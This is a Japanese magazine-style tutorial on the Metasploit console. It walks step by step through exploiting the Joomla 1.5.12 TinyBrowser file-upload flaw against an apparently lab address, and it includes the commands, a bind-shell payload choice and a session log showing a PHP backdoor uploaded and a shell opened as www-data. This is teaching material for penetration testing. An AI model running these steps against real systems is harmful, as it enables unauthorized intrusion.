Articles - Security |
ハッカージャパン 2010年05月号に寄稿した記事を編集・修正したものです。
Metasploit の基本的な使い方・コンソールインターフェイス編
Msfconsleは、前述したGUIやWebインターフェイスと同じように、Penetrationメニューから「Msfconsle」を選択するか、コンソールで(/pentest/exploits/framework3に移動し)「./msfconsole」と入力して起動する。
図①が、Msfconsleの起動時の画面である。GUIと異なり、いきなり起動しても、どういったコマンドがあるかはわからない。はじめはコマンドの概要をhelpコマンドで表示して確認してみよう。頻繁に使用するのは、use/show/search/setなどである。ちなみに、Msfconsleでは、Metasploitのコマンドだけでなく、pingやnslookupなどの外部コマンドも使用できる。
では、exploitの実行手順で解説していこう。まず、GUIのように、どのようなモジュールがあるのかを参照したい場合には、showコマンドを使用する。たとえば、exploitであれば、「show exploits」、payloadなら、「show payloads」といった具合だ。使いたいモジュールを見つけるには、searchコマンドを使う「search joomla」と入力すれば今回利用するexploitモジュールが表示されるはずだ。
続いて、該当するexploitモジュールを使用することをuseコマンドで指定する。「use <exploit名>」と入力すればよい。
オプションの指定は、「show options」で確認できる。ターゲットのIPアドレスやポートの指定はsetコマンドを使う。たとえば、ターゲットのIPアドレスであれば、「set RHOST 192.168.241.138」といった具合だ。
ちなみに、GUIの設定保存と同じように設定内容を保存したい場合には、setgコマンドを使う。最後に、exploitの実行は「exploit」と入力するだけだ。
①:Msfconsleを起動したら、helpコマンドでコマンドの概要をチェックしておくといいだろう。図は、searchコマンドでexploitを検索している例である。ここでは、search joomlaと入力している。検索結果より「unix/webapp/joomla_tinybrowser」を使用すればよいことがわかる。
msf > search joomla [*] Searching loaded modules for pattern 'joomla'...
Exploits
========
Name Rank Description
---- ---- -----------
unix/webapp/joomla_tinybrowser excellent Joomla 1.5.12 TinyBrowser File Upload Code Execution
②:useコマンドでexploitを指定すると同時に、showコマンドで、選択できるpayloadを確認している。
msf > use unix/webapp/joomla_tinybrowser msf exploit(joomla_tinybrowser) > show payloads Compatible Payloads =================== Name Rank Description ---- ---- ----------- generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline php/bind_perl normal PHP Command Shell, Bind TCP (via perl)
③:「show options」で設定内容を確認する。ターゲットIPアドレス(RHOST)やpayloadをユーザー側で設定する。
msf exploit(joomla_tinybrowser) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
URI / yes Joomla directory path
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
④:setコマンドで、payload、ターゲットIPアドレスを指定している。
msf exploit(joomla_tinybrowser) > set payload generic/shell_bind_tcp payload => generic/shell_bind_tcp msf exploit(joomla_tinybrowser) > set RHOST 192.168.241.138
⑤:再度、「show options」で設定内容を確認する。
msf exploit(joomla_tinybrowser) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.241.138 yes The target address
RPORT 80 yes The target port
URI / yes Joomla directory path
VHOST no HTTP server virtual host
Payload options (generic/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The local port
RHOST 192.168.241.138 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
⑥:設定に誤りや変更が無ければ、exploitを実行する(exploitコマンドを入力)。exploitが成功し、セッションが開始。コマンドを入力している。
msf exploit(joomla_tinybrowser) > exploit [*] Started bind handler [*] Successfully retrieved obfuscation code: 3bc6aeeecd3d028411bb8a479e93c359 [*] Successfully uploaded bkdmgnunpgeowfkljpyu.ph.p [*] Renaming file from bkdmgnunpgeowfkljpyu.ph.p_ to bkdmgnunpgeowfkljpyu.ph.p [*] Renamed bkdmgnunpgeowfkljpyu.ph.p to bkdmgnunpgeowfkljpyu.php [*] Calling payload: bkdmgnunpgeowfkljpyu.php [*] Command shell session 1 opened (192.168.241.132:60551 -> 192.168.241.138:4444) whoami www-data uname -a Linux ubuntu 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:04:26 UTC 2009 i686 GNU/Linux pwd /var/www/images/stories